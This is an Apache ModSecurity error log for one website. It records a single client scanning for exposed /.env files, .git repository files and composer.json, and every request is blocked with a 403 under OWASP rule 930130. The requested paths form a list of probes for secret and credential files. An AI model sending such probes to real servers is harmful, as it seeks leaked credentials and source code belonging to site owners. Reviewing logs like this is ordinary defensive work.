[Sat Oct 24 08:10:38.040268 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env~"] [unique_id "atygPkWIGyA7zCtes8CKRAAAAAw"]
[Sat Oct 24 08:10:38.040931 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPkWIGyA7zCtes8CKRAAAAAw"]
[Sat Oct 24 08:10:38.042686 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/config"] [unique_id "atygPlGNStwISql-V9e97AAAAAs"]
[Sat Oct 24 08:10:38.042859 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/config"] [unique_id "atygPlGNStwISql-V9e97AAAAAs"]
[Sat Oct 24 08:10:38.043652 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPlGNStwISql-V9e97AAAAAs"]
[Sat Oct 24 08:10:38.044135 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/index"] [unique_id "atygPoY2rJh4KkI7ZZhj1wAAAAM"]
[Sat Oct 24 08:10:38.044295 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/index"] [unique_id "atygPoY2rJh4KkI7ZZhj1wAAAAM"]
[Sat Oct 24 08:10:38.045035 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPoY2rJh4KkI7ZZhj1wAAAAM"]
[Sat Oct 24 08:10:38.077783 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/logs/HEAD"] [unique_id "atygPnUcfBNBYE9xHAJA8gAAAAA"]
[Sat Oct 24 08:10:38.077932 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/logs/HEAD"] [unique_id "atygPnUcfBNBYE9xHAJA8gAAAAA"]
[Sat Oct 24 08:10:38.078574 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPnUcfBNBYE9xHAJA8gAAAAA"]
[Sat Oct 24 08:10:38.113447 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atygPvMnT_rHlxLKOWDm_wAAAAc"]
[Sat Oct 24 08:10:38.113630 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atygPvMnT_rHlxLKOWDm_wAAAAc"]
[Sat Oct 24 08:10:38.114401 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPvMnT_rHlxLKOWDm_wAAAAc"]
[Sat Oct 24 08:10:38.189759 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/admin/.env"] [unique_id "atygPg6rpxYYtVdDcXCoTAAAABg"]
[Sat Oct 24 08:10:38.189975 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/admin/.env"] [unique_id "atygPg6rpxYYtVdDcXCoTAAAABg"]
[Sat Oct 24 08:10:38.190728 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPg6rpxYYtVdDcXCoTAAAABg"]
[Sat Oct 24 08:10:38.191487 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/api/.env"] [unique_id "atygPl0Yuvqa3nuKpvNCGwAAAAk"]
[Sat Oct 24 08:10:38.191625 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/api/.env"] [unique_id "atygPl0Yuvqa3nuKpvNCGwAAAAk"]
[Sat Oct 24 08:10:38.192283 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPl0Yuvqa3nuKpvNCGwAAAAk"]
[Sat Oct 24 08:10:38.198234 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/app/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj2QAAAAM"]
[Sat Oct 24 08:10:38.198362 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/app/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj2QAAAAM"]
[Sat Oct 24 08:10:38.198991 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPoY2rJh4KkI7ZZhj2QAAAAM"]
[Sat Oct 24 08:10:38.230616 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/application/.env"] [unique_id "atygPnUcfBNBYE9xHAJA9AAAAAA"]
[Sat Oct 24 08:10:38.230829 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/application/.env"] [unique_id "atygPnUcfBNBYE9xHAJA9AAAAAA"]
[Sat Oct 24 08:10:38.231564 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPnUcfBNBYE9xHAJA9AAAAAA"]
[Sat Oct 24 08:10:38.273556 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/backend/.env"] [unique_id "atygPhdOhHN-18IxgZKqpgAAAAY"]
[Sat Oct 24 08:10:38.273766 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/backend/.env"] [unique_id "atygPhdOhHN-18IxgZKqpgAAAAY"]
[Sat Oct 24 08:10:38.274395 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/backup/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj2gAAAAM"]
[Sat Oct 24 08:10:38.274469 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPhdOhHN-18IxgZKqpgAAAAY"]
[Sat Oct 24 08:10:38.274537 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/backup/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj2gAAAAM"]
[Sat Oct 24 08:10:38.273701 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/back/.env"] [unique_id "atygPmyV-56kZb5LgxTnHgAAAAE"]
[Sat Oct 24 08:10:38.274990 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/back/.env"] [unique_id "atygPmyV-56kZb5LgxTnHgAAAAE"]
[Sat Oct 24 08:10:38.275253 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPoY2rJh4KkI7ZZhj2gAAAAM"]
[Sat Oct 24 08:10:38.275823 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPmyV-56kZb5LgxTnHgAAAAE"]
[Sat Oct 24 08:10:38.307001 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/cms/.env"] [unique_id "atygPnUcfBNBYE9xHAJA9QAAAAA"]
[Sat Oct 24 08:10:38.307192 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/cms/.env"] [unique_id "atygPnUcfBNBYE9xHAJA9QAAAAA"]
[Sat Oct 24 08:10:38.307906 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPnUcfBNBYE9xHAJA9QAAAAA"]
[Sat Oct 24 08:10:38.341888 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/composer.json"] [unique_id "atygPg6rpxYYtVdDcXCoTgAAABg"]
[Sat Oct 24 08:10:38.342126 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/composer.json"] [unique_id "atygPg6rpxYYtVdDcXCoTgAAABg"]
